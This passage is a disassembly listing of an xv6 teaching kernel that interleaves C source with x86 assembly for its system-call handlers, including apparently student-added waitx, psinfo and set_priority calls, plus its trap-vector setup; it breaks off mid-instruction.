%ebx,0x68(%esi) return 0; 80105a5e: 83 c4 10 add $0x10,%esp 80105a61: 31 c0 xor %eax,%eax } 80105a63: 8d 65 f8 lea -0x8(%ebp),%esp 80105a66: 5b pop %ebx 80105a67: 5e pop %esi 80105a68: 5d pop %ebp 80105a69: c3 ret 80105a6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi iunlockput(ip); 80105a70: 83 ec 0c sub $0xc,%esp 80105a73: 53 push %ebx 80105a74: e8 87 bf ff ff call 80101a00 <iunlockput> end_op(); 80105a79: e8 22 d3 ff ff call 80102da0 <end_op> return -1; 80105a7e: 83 c4 10 add $0x10,%esp 80105a81: b8 ff ff ff ff mov $0xffffffff,%eax 80105a86: eb db jmp 80105a63 <sys_chdir+0x73> 80105a88: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105a8f: 90 nop end_op(); 80105a90: e8 0b d3 ff ff call 80102da0 <end_op> return -1; 80105a95: b8 ff ff ff ff mov $0xffffffff,%eax 80105a9a: eb c7 jmp 80105a63 <sys_chdir+0x73> 80105a9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105aa0 <sys_exec>: int sys_exec(void) { 80105aa0: f3 0f 1e fb endbr32 80105aa4: 55 push %ebp 80105aa5: 89 e5 mov %esp,%ebp 80105aa7: 57 push %edi 80105aa8: 56 push %esi char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105aa9: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax { 80105aaf: 53 push %ebx 80105ab0: 81 ec a4 00 00 00 sub $0xa4,%esp if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105ab6: 50 push %eax 80105ab7: 6a 00 push $0x0 80105ab9: e8 22 f5 ff ff call 80104fe0 <argstr> 80105abe: 83 c4 10 add $0x10,%esp 80105ac1: 85 c0 test %eax,%eax 80105ac3: 0f 88 8b 00 00 00 js 80105b54 <sys_exec+0xb4> 80105ac9: 83 ec 08 sub $0x8,%esp 80105acc: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 80105ad2: 50 push %eax 80105ad3: 6a 01 push $0x1 80105ad5: e8 56 f4 ff ff call 80104f30 <argint> 80105ada: 83 c4 10 add $0x10,%esp 80105add: 85 c0 test %eax,%eax 80105adf: 78 73 js 80105b54 <sys_exec+0xb4> return -1; } memset(argv, 0, sizeof(argv)); 80105ae1: 83 ec 04 sub $0x4,%esp 80105ae4: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax for(i=0;; i++){ 80105aea: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 80105aec: 68 80 00 00 00 push $0x80 80105af1: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 80105af7: 6a 00 push $0x0 80105af9: 50 push %eax 80105afa: e8 51 f1 ff ff call 80104c50 <memset> 80105aff: 83 c4 10 add $0x10,%esp 80105b02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 80105b08: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105b0e: 8d 34 9d 00 00 00 00 lea 0x0(,%ebx,4),%esi 80105b15: 83 ec 08 sub $0x8,%esp 80105b18: 57 push %edi 80105b19: 01 f0 add %esi,%eax 80105b1b: 50 push %eax 80105b1c: e8 6f f3 ff ff call 80104e90 <fetchint> 80105b21: 83 c4 10 add $0x10,%esp 80105b24: 85 c0 test %eax,%eax 80105b26: 78 2c js 80105b54 <sys_exec+0xb4> return -1; if(uarg == 0){ 80105b28: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 80105b2e: 85 c0 test %eax,%eax 80105b30: 74 36 je 80105b68 <sys_exec+0xc8> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80105b32: 8d 8d 68 ff ff ff lea -0x98(%ebp),%ecx 80105b38: 83 ec 08 sub $0x8,%esp 80105b3b: 8d 14 31 lea (%ecx,%esi,1),%edx 80105b3e: 52 push %edx 80105b3f: 50 push %eax 80105b40: e8 8b f3 ff ff call 80104ed0 <fetchstr> 80105b45: 83 c4 10 add $0x10,%esp 80105b48: 85 c0 test %eax,%eax 80105b4a: 78 08 js 80105b54 <sys_exec+0xb4> for(i=0;; i++){ 80105b4c: 83 c3 01 add $0x1,%ebx if(i >= NELEM(argv)) 80105b4f: 83 fb 20 cmp $0x20,%ebx 80105b52: 75 b4 jne 80105b08 <sys_exec+0x68> return -1; } return exec(path, argv); } 80105b54: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80105b57: b8 ff ff ff ff mov $0xffffffff,%eax } 80105b5c: 5b pop %ebx 80105b5d: 5e pop %esi 80105b5e: 5f pop %edi 80105b5f: 5d pop %ebp 80105b60: c3 ret 80105b61: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return exec(path, argv); 80105b68: 83 ec 08 sub $0x8,%esp 80105b6b: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax argv[i] = 0; 80105b71: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105b78: 00 00 00 00 return exec(path, argv); 80105b7c: 50 push %eax 80105b7d: ff b5 5c ff ff ff pushl -0xa4(%ebp) 80105b83: e8 f8 ae ff ff call 80100a80 <exec> 80105b88: 83 c4 10 add $0x10,%esp } 80105b8b: 8d 65 f4 lea -0xc(%ebp),%esp 80105b8e: 5b pop %ebx 80105b8f: 5e pop %esi 80105b90: 5f pop %edi 80105b91: 5d pop %ebp 80105b92: c3 ret 80105b93: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105b9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105ba0 <sys_pipe>: int sys_pipe(void) { 80105ba0: f3 0f 1e fb endbr32 80105ba4: 55 push %ebp 80105ba5: 89 e5 mov %esp,%ebp 80105ba7: 57 push %edi 80105ba8: 56 push %esi int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105ba9: 8d 45 dc lea -0x24(%ebp),%eax { 80105bac: 53 push %ebx 80105bad: 83 ec 20 sub $0x20,%esp if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105bb0: 6a 08 push $0x8 80105bb2: 50 push %eax 80105bb3: 6a 00 push $0x0 80105bb5: e8 c6 f3 ff ff call 80104f80 <argptr> 80105bba: 83 c4 10 add $0x10,%esp 80105bbd: 85 c0 test %eax,%eax 80105bbf: 78 4e js 80105c0f <sys_pipe+0x6f> return -1; if(pipealloc(&rf, &wf) < 0) 80105bc1: 83 ec 08 sub $0x8,%esp 80105bc4: 8d 45 e4 lea -0x1c(%ebp),%eax 80105bc7: 50 push %eax 80105bc8: 8d 45 e0 lea -0x20(%ebp),%eax 80105bcb: 50 push %eax 80105bcc: e8 1f d8 ff ff call 801033f0 <pipealloc> 80105bd1: 83 c4 10 add $0x10,%esp 80105bd4: 85 c0 test %eax,%eax 80105bd6: 78 37 js 80105c0f <sys_pipe+0x6f> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80105bd8: 8b 7d e0 mov -0x20(%ebp),%edi for(fd = 0; fd < NOFILE; fd++){ 80105bdb: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 80105bdd: e8 ae dd ff ff call 80103990 <myproc> for(fd = 0; fd < NOFILE; fd++){ 80105be2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(curproc->ofile[fd] == 0){ 80105be8: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi 80105bec: 85 f6 test %esi,%esi 80105bee: 74 30 je 80105c20 <sys_pipe+0x80> for(fd = 0; fd < NOFILE; fd++){ 80105bf0: 83 c3 01 add $0x1,%ebx 80105bf3: 83 fb 10 cmp $0x10,%ebx 80105bf6: 75 f0 jne 80105be8 <sys_pipe+0x48> if(fd0 >= 0) myproc()->ofile[fd0] = 0; fileclose(rf); 80105bf8: 83 ec 0c sub $0xc,%esp 80105bfb: ff 75 e0 pushl -0x20(%ebp) 80105bfe: e8 bd b2 ff ff call 80100ec0 <fileclose> fileclose(wf); 80105c03: 58 pop %eax 80105c04: ff 75 e4 pushl -0x1c(%ebp) 80105c07: e8 b4 b2 ff ff call 80100ec0 <fileclose> return -1; 80105c0c: 83 c4 10 add $0x10,%esp 80105c0f: b8 ff ff ff ff mov $0xffffffff,%eax 80105c14: eb 5b jmp 80105c71 <sys_pipe+0xd1> 80105c16: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105c1d: 8d 76 00 lea 0x0(%esi),%esi curproc->ofile[fd] = f; 80105c20: 8d 73 08 lea 0x8(%ebx),%esi 80105c23: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 80105c27: 8b 7d e4 mov -0x1c(%ebp),%edi struct proc *curproc = myproc(); 80105c2a: e8 61 dd ff ff call 80103990 <myproc> for(fd = 0; fd < NOFILE; fd++){ 80105c2f: 31 d2 xor %edx,%edx 80105c31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[fd] == 0){ 80105c38: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 80105c3c: 85 c9 test %ecx,%ecx 80105c3e: 74 20 je 80105c60 <sys_pipe+0xc0> for(fd = 0; fd < NOFILE; fd++){ 80105c40: 83 c2 01 add $0x1,%edx 80105c43: 83 fa 10 cmp $0x10,%edx 80105c46: 75 f0 jne 80105c38 <sys_pipe+0x98> myproc()->ofile[fd0] = 0; 80105c48: e8 43 dd ff ff call 80103990 <myproc> 80105c4d: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4) 80105c54: 00 80105c55: eb a1 jmp 80105bf8 <sys_pipe+0x58> 80105c57: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105c5e: 66 90 xchg %ax,%ax curproc->ofile[fd] = f; 80105c60: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4) } fd[0] = fd0; 80105c64: 8b 45 dc mov -0x24(%ebp),%eax 80105c67: 89 18 mov %ebx,(%eax) fd[1] = fd1; 80105c69: 8b 45 dc mov -0x24(%ebp),%eax 80105c6c: 89 50 04 mov %edx,0x4(%eax) return 0; 80105c6f: 31 c0 xor %eax,%eax } 80105c71: 8d 65 f4 lea -0xc(%ebp),%esp 80105c74: 5b pop %ebx 80105c75: 5e pop %esi 80105c76: 5f pop %edi 80105c77: 5d pop %ebp 80105c78: c3 ret 80105c79: 66 90 xchg %ax,%ax 80105c7b: 66 90 xchg %ax,%ax 80105c7d: 66 90 xchg %ax,%ax 80105c7f: 90 nop 80105c80 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 80105c80: f3 0f 1e fb endbr32 return fork(); 80105c84: e9 b7 de ff ff jmp 80103b40 <fork> 80105c89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105c90 <sys_exit>: } int sys_exit(void) { 80105c90: f3 0f 1e fb endbr32 80105c94: 55 push %ebp 80105c95: 89 e5 mov %esp,%ebp 80105c97: 83 ec 08 sub $0x8,%esp exit(); 80105c9a: e8 61 e4 ff ff call 80104100 <exit> return 0; // not reached } 80105c9f: 31 c0 xor %eax,%eax 80105ca1: c9 leave 80105ca2: c3 ret 80105ca3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105caa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105cb0 <sys_wait>: int sys_wait(void) { 80105cb0: f3 0f 1e fb endbr32 return wait(); 80105cb4: e9 57 e7 ff ff jmp 80104410 <wait> 80105cb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105cc0 <sys_kill>: } int sys_kill(void) { 80105cc0: f3 0f 1e fb endbr32 80105cc4: 55 push %ebp 80105cc5: 89 e5 mov %esp,%ebp 80105cc7: 83 ec 20 sub $0x20,%esp int pid; if(argint(0, &pid) < 0) 80105cca: 8d 45 f4 lea -0xc(%ebp),%eax 80105ccd: 50 push %eax 80105cce: 6a 00 push $0x0 80105cd0: e8 5b f2 ff ff call 80104f30 <argint> 80105cd5: 83 c4 10 add $0x10,%esp 80105cd8: 85 c0 test %eax,%eax 80105cda: 78 14 js 80105cf0 <sys_kill+0x30> return -1; return kill(pid); 80105cdc: 83 ec 0c sub $0xc,%esp 80105cdf: ff 75 f4 pushl -0xc(%ebp) 80105ce2: e8 29 ea ff ff call 80104710 <kill> 80105ce7: 83 c4 10 add $0x10,%esp } 80105cea: c9 leave 80105ceb: c3 ret 80105cec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105cf0: c9 leave return -1; 80105cf1: b8 ff ff ff ff mov $0xffffffff,%eax } 80105cf6: c3 ret 80105cf7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105cfe: 66 90 xchg %ax,%ax 80105d00 <sys_getpid>: int sys_getpid(void) { 80105d00: f3 0f 1e fb endbr32 80105d04: 55 push %ebp 80105d05: 89 e5 mov %esp,%ebp 80105d07: 83 ec 08 sub $0x8,%esp return myproc()->pid; 80105d0a: e8 81 dc ff ff call 80103990 <myproc> 80105d0f: 8b 40 10 mov 0x10(%eax),%eax } 80105d12: c9 leave 80105d13: c3 ret 80105d14: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105d1b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105d1f: 90 nop 80105d20 <sys_sbrk>: int sys_sbrk(void) { 80105d20: f3 0f 1e fb endbr32 80105d24: 55 push %ebp 80105d25: 89 e5 mov %esp,%ebp 80105d27: 53 push %ebx int addr; int n; if(argint(0, &n) < 0) 80105d28: 8d 45 f4 lea -0xc(%ebp),%eax { 80105d2b: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 80105d2e: 50 push %eax 80105d2f: 6a 00 push $0x0 80105d31: e8 fa f1 ff ff call 80104f30 <argint> 80105d36: 83 c4 10 add $0x10,%esp 80105d39: 85 c0 test %eax,%eax 80105d3b: 78 23 js 80105d60 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 80105d3d: e8 4e dc ff ff call 80103990 <myproc> if(growproc(n) < 0) 80105d42: 83 ec 0c sub $0xc,%esp addr = myproc()->sz; 80105d45: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 80105d47: ff 75 f4 pushl -0xc(%ebp) 80105d4a: e8 71 dd ff ff call 80103ac0 <growproc> 80105d4f: 83 c4 10 add $0x10,%esp 80105d52: 85 c0 test %eax,%eax 80105d54: 78 0a js 80105d60 <sys_sbrk+0x40> return -1; return addr; } 80105d56: 89 d8 mov %ebx,%eax 80105d58: 8b 5d fc mov -0x4(%ebp),%ebx 80105d5b: c9 leave 80105d5c: c3 ret 80105d5d: 8d 76 00 lea 0x0(%esi),%esi return -1; 80105d60: bb ff ff ff ff mov $0xffffffff,%ebx 80105d65: eb ef jmp 80105d56 <sys_sbrk+0x36> 80105d67: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105d6e: 66 90 xchg %ax,%ax 80105d70 <sys_sleep>: int sys_sleep(void) { 80105d70: f3 0f 1e fb endbr32 80105d74: 55 push %ebp 80105d75: 89 e5 mov %esp,%ebp 80105d77: 53 push %ebx int n; uint ticks0; if(argint(0, &n) < 0) 80105d78: 8d 45 f4 lea -0xc(%ebp),%eax { 80105d7b: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 80105d7e: 50 push %eax 80105d7f: 6a 00 push $0x0 80105d81: e8 aa f1 ff ff call 80104f30 <argint> 80105d86: 83 c4 10 add $0x10,%esp 80105d89: 85 c0 test %eax,%eax 80105d8b: 0f 88 86 00 00 00 js 80105e17 <sys_sleep+0xa7> return -1; acquire(&tickslock); 80105d91: 83 ec 0c sub $0xc,%esp 80105d94: 68 80 6f 11 80 push $0x80116f80 80105d99: e8 a2 ed ff ff call 80104b40 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 80105d9e: 8b 55 f4 mov -0xc(%ebp),%edx ticks0 = ticks; 80105da1: 8b 1d c0 77 11 80 mov 0x801177c0,%ebx while(ticks - ticks0 < n){ 80105da7: 83 c4 10 add $0x10,%esp 80105daa: 85 d2 test %edx,%edx 80105dac: 75 23 jne 80105dd1 <sys_sleep+0x61> 80105dae: eb 50 jmp 80105e00 <sys_sleep+0x90> if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105db0: 83 ec 08 sub $0x8,%esp 80105db3: 68 80 6f 11 80 push $0x80116f80 80105db8: 68 c0 77 11 80 push $0x801177c0 80105dbd: e8 8e e5 ff ff call 80104350 <sleep> while(ticks - ticks0 < n){ 80105dc2: a1 c0 77 11 80 mov 0x801177c0,%eax 80105dc7: 83 c4 10 add $0x10,%esp 80105dca: 29 d8 sub %ebx,%eax 80105dcc: 3b 45 f4 cmp -0xc(%ebp),%eax 80105dcf: 73 2f jae 80105e00 <sys_sleep+0x90> if(myproc()->killed){ 80105dd1: e8 ba db ff ff call 80103990 <myproc> 80105dd6: 8b 40 24 mov 0x24(%eax),%eax 80105dd9: 85 c0 test %eax,%eax 80105ddb: 74 d3 je 80105db0 <sys_sleep+0x40> release(&tickslock); 80105ddd: 83 ec 0c sub $0xc,%esp 80105de0: 68 80 6f 11 80 push $0x80116f80 80105de5: e8 16 ee ff ff call 80104c00 <release> } release(&tickslock); return 0; } 80105dea: 8b 5d fc mov -0x4(%ebp),%ebx return -1; 80105ded: 83 c4 10 add $0x10,%esp 80105df0: b8 ff ff ff ff mov $0xffffffff,%eax } 80105df5: c9 leave 80105df6: c3 ret 80105df7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105dfe: 66 90 xchg %ax,%ax release(&tickslock); 80105e00: 83 ec 0c sub $0xc,%esp 80105e03: 68 80 6f 11 80 push $0x80116f80 80105e08: e8 f3 ed ff ff call 80104c00 <release> return 0; 80105e0d: 83 c4 10 add $0x10,%esp 80105e10: 31 c0 xor %eax,%eax } 80105e12: 8b 5d fc mov -0x4(%ebp),%ebx 80105e15: c9 leave 80105e16: c3 ret return -1; 80105e17: b8 ff ff ff ff mov $0xffffffff,%eax 80105e1c: eb f4 jmp 80105e12 <sys_sleep+0xa2> 80105e1e: 66 90 xchg %ax,%ax 80105e20 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80105e20: f3 0f 1e fb endbr32 80105e24: 55 push %ebp 80105e25: 89 e5 mov %esp,%ebp 80105e27: 53 push %ebx 80105e28: 83 ec 10 sub $0x10,%esp uint xticks; acquire(&tickslock); 80105e2b: 68 80 6f 11 80 push $0x80116f80 80105e30: e8 0b ed ff ff call 80104b40 <acquire> xticks = ticks; 80105e35: 8b 1d c0 77 11 80 mov 0x801177c0,%ebx release(&tickslock); 80105e3b: c7 04 24 80 6f 11 80 movl $0x80116f80,(%esp) 80105e42: e8 b9 ed ff ff call 80104c00 <release> return xticks; } 80105e47: 89 d8 mov %ebx,%eax 80105e49: 8b 5d fc mov -0x4(%ebp),%ebx 80105e4c: c9 leave 80105e4d: c3 ret 80105e4e: 66 90 xchg %ax,%ax 80105e50 <sys_waitx>: // my insert begins int sys_waitx(void) { 80105e50: f3 0f 1e fb endbr32 80105e54: 55 push %ebp 80105e55: 89 e5 mov %esp,%ebp 80105e57: 83 ec 1c sub $0x1c,%esp int *wtime; int *rtime; if (argptr(0, (char **)&wtime, sizeof(int)) < 0) 80105e5a: 8d 45 f0 lea -0x10(%ebp),%eax 80105e5d: 6a 04 push $0x4 80105e5f: 50 push %eax 80105e60: 6a 00 push $0x0 80105e62: e8 19 f1 ff ff call 80104f80 <argptr> 80105e67: 83 c4 10 add $0x10,%esp 80105e6a: 85 c0 test %eax,%eax 80105e6c: 78 32 js 80105ea0 <sys_waitx+0x50> { return -1; } if (argptr(1, (char **)&rtime, sizeof(int)) < 0) 80105e6e: 83 ec 04 sub $0x4,%esp 80105e71: 8d 45 f4 lea -0xc(%ebp),%eax 80105e74: 6a 04 push $0x4 80105e76: 50 push %eax 80105e77: 6a 01 push $0x1 80105e79: e8 02 f1 ff ff call 80104f80 <argptr> 80105e7e: 83 c4 10 add $0x10,%esp 80105e81: 85 c0 test %eax,%eax 80105e83: 78 1b js 80105ea0 <sys_waitx+0x50> { return -1; } return waitx(wtime, rtime); 80105e85: 83 ec 08 sub $0x8,%esp 80105e88: ff 75 f4 pushl -0xc(%ebp) 80105e8b: ff 75 f0 pushl -0x10(%ebp) 80105e8e: e8 7d e6 ff ff call 80104510 <waitx> 80105e93: 83 c4 10 add $0x10,%esp } 80105e96: c9 leave 80105e97: c3 ret 80105e98: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105e9f: 90 nop 80105ea0: c9 leave return -1; 80105ea1: b8 ff ff ff ff mov $0xffffffff,%eax } 80105ea6: c3 ret 80105ea7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105eae: 66 90 xchg %ax,%ax 80105eb0 <sys_psinfo>: int sys_psinfo(void) { 80105eb0: f3 0f 1e fb endbr32 80105eb4: 55 push %ebp 80105eb5: 89 e5 mov %esp,%ebp 80105eb7: 83 ec 1c sub $0x1c,%esp struct process_info *process_stats = 0; int pid; if(argptr(0,(char**)process_stats,sizeof(process_stats))<0) 80105eba: 6a 04 push $0x4 80105ebc: 6a 00 push $0x0 80105ebe: 6a 00 push $0x0 80105ec0: e8 bb f0 ff ff call 80104f80 <argptr> 80105ec5: 83 c4 10 add $0x10,%esp 80105ec8: 85 c0 test %eax,%eax 80105eca: 78 2c js 80105ef8 <sys_psinfo+0x48> { //unsuccessful return 0; } if(argint(1,&pid)<0) 80105ecc: 83 ec 08 sub $0x8,%esp 80105ecf: 8d 45 f4 lea -0xc(%ebp),%eax 80105ed2: 50 push %eax 80105ed3: 6a 01 push $0x1 80105ed5: e8 56 f0 ff ff call 80104f30 <argint> 80105eda: 83 c4 10 add $0x10,%esp 80105edd: 85 c0 test %eax,%eax 80105edf: 78 17 js 80105ef8 <sys_psinfo+0x48> { return 0; } return psinfo(process_stats,pid); 80105ee1: 83 ec 08 sub $0x8,%esp 80105ee4: ff 75 f4 pushl -0xc(%ebp) 80105ee7: 6a 00 push $0x0 80105ee9: e8 72 dd ff ff call 80103c60 <psinfo> 80105eee: 83 c4 10 add $0x10,%esp } 80105ef1: c9 leave 80105ef2: c3 ret 80105ef3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105ef7: 90 nop 80105ef8: c9 leave return 0; 80105ef9: 31 c0 xor %eax,%eax } 80105efb: c3 ret 80105efc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105f00 <sys_set_priority>: //syscall will only change priority if it is in range [0,100] //returns -1 in error condition int sys_set_priority(void) { 80105f00: f3 0f 1e fb endbr32 80105f04: 55 push %ebp 80105f05: 89 e5 mov %esp,%ebp 80105f07: 83 ec 20 sub $0x20,%esp int new_priority; int pid; if(argint(0,&new_priority)<0) 80105f0a: 8d 45 f0 lea -0x10(%ebp),%eax 80105f0d: 50 push %eax 80105f0e: 6a 00 push $0x0 80105f10: e8 1b f0 ff ff call 80104f30 <argint> 80105f15: 83 c4 10 add $0x10,%esp 80105f18: 85 c0 test %eax,%eax 80105f1a: 78 34 js 80105f50 <sys_set_priority+0x50> { return -1; } if(argint(1,&pid)<0) 80105f1c: 83 ec 08 sub $0x8,%esp 80105f1f: 8d 45 f4 lea -0xc(%ebp),%eax 80105f22: 50 push %eax 80105f23: 6a 01 push $0x1 80105f25: e8 06 f0 ff ff call 80104f30 <argint> 80105f2a: 83 c4 10 add $0x10,%esp 80105f2d: 85 c0 test %eax,%eax 80105f2f: 78 1f js 80105f50 <sys_set_priority+0x50> { return -1; } if(new_priority<0 || new_priority>100) 80105f31: 8b 45 f0 mov -0x10(%ebp),%eax 80105f34: 83 f8 64 cmp $0x64,%eax 80105f37: 77 17 ja 80105f50 <sys_set_priority+0x50> { return -1; } return set_priority(new_priority, pid); 80105f39: 83 ec 08 sub $0x8,%esp 80105f3c: ff 75 f4 pushl -0xc(%ebp) 80105f3f: 50 push %eax 80105f40: e8 5b e3 ff ff call 801042a0 <set_priority> 80105f45: 83 c4 10 add $0x10,%esp } 80105f48: c9 leave 80105f49: c3 ret 80105f4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105f50: c9 leave return -1; 80105f51: b8 ff ff ff ff mov $0xffffffff,%eax } 80105f56: c3 ret 80105f57 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105f57: 1e push %ds pushl %es 80105f58: 06 push %es pushl %fs 80105f59: 0f a0 push %fs pushl %gs 80105f5b: 0f a8 push %gs pushal 80105f5d: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105f5e: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105f62: 8e d8 mov %eax,%ds movw %ax, %es 80105f64: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105f66: 54 push %esp call trap 80105f67: e8 c4 00 00 00 call 80106030 <trap> addl $4, %esp 80105f6c: 83 c4 04 add $0x4,%esp 80105f6f <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105f6f: 61 popa popl %gs 80105f70: 0f a9 pop %gs popl %fs 80105f72: 0f a1 pop %fs popl %es 80105f74: 07 pop %es popl %ds 80105f75: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105f76: 83 c4 08 add $0x8,%esp iret 80105f79: cf iret 80105f7a: 66 90 xchg %ax,%ax 80105f7c: 66 90 xchg %ax,%ax 80105f7e: 66 90 xchg %ax,%ax 80105f80 <tvinit>: struct spinlock tickslock; uint ticks; void tvinit(void) { 80105f80: f3 0f 1e fb endbr32 80105f84: 55 push %ebp int i; for(i = 0; i < 256; i++) 80105f85: 31 c0 xor %eax,%eax { 80105f87: 89 e5 mov %esp,%ebp 80105f89: 83 ec 08 sub $0x8,%esp 80105f8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105f90: 8b 14 85 1c b0 10 80 mov -0x7fef4fe4(,%eax,4),%edx 80105f97: c7 04 c5 c2 6f 11 80 movl $0x8e000008,-0x7fee903e(,%eax,8) 80105f9e: 08 00 00 8e 80105fa2: 66 89 14 c5 c0 6f 11 mov %dx,-0x7fee9040(,%eax,8) 80105fa9: 80 80105faa: c1 ea 10 shr $0x10,%edx 80105fad: 66 89 14 c5 c6 6f 11 mov %dx,-0x7fee903a(,%eax,8) 80105fb4: 80 for(i = 0; i < 256; i++) 80105fb5: 83 c0 01 add $0x1,%eax 80105fb8: 3d 00 01 00 00 cmp $0x100,%eax 80105fbd: 75 d1 jne 80105f90 <tvinit+0x10> SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); initlock(&tickslock, "time"); 80105fbf: 83 ec 08 sub $0x8,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105fc2: a1 1c b1 10 80 mov 0x8010b11c,%eax 80105fc7: c7 05 c2 71 11 80 08 movl $0xef000008,0x801171c2 80105fce: 00 00 ef initlock(&tickslock, "time"); 80105fd1: 68 85 80 10 80 push $0x80108085 80105fd6: 68 80 6f 11 80 push $0x80116f80 SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 80105fdb: 66 a3 c0 71 11 80 mov %ax,0x801171c0 80105fe1: c1 e8 10 shr $0x10,%eax 80105fe4: 66 a3 c6 71 11 80 mov %ax,0x801171c6 initlock(&tickslock, "time"); 80105fea: e8 d1 e9 ff ff call 801049c0 <initlock> } 80105fef: 83 c4 10 add $0x10,%esp 80105ff2: c9 leave 80105ff3: c3 ret 80105ff4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105ffb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105fff: 90 nop 80106000 <idtinit>: void idtinit(void) { 80106000: f3 0f 1e fb endbr32 80106004: 55 push %ebp pd[0] = size-1; 80106005: b8 ff 07 00 00 mov $0x7ff,%eax 8010600a: 89 e5 mov %esp,%ebp 8010600c: 83 ec 10 sub $0x10,%esp 8010600f: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 80106013: b8 c0 6f 11 80 mov $0x80116fc0,%eax 80106018: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 8010601c: c1 e8 10 shr $0x10,%eax 8010601f: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 80106023: 8d 45 fa lea -0x6(%ebp),%eax 80106026: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80106029: c9 leave 8010602a: c3 ret 8010602b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010602f: 90 nop 80106030 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80106030: f3 0f 1e fb endbr32 80106034: 55 push %ebp 80106035: 89 e5 mov %esp,%ebp 80106037: 57 push %edi 80106038: 56 push %esi 80106039: 53 push %ebx 8010603a: 83 ec 1c sub $0x1c,%esp 8010603d: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 80106040: 8b 43 30 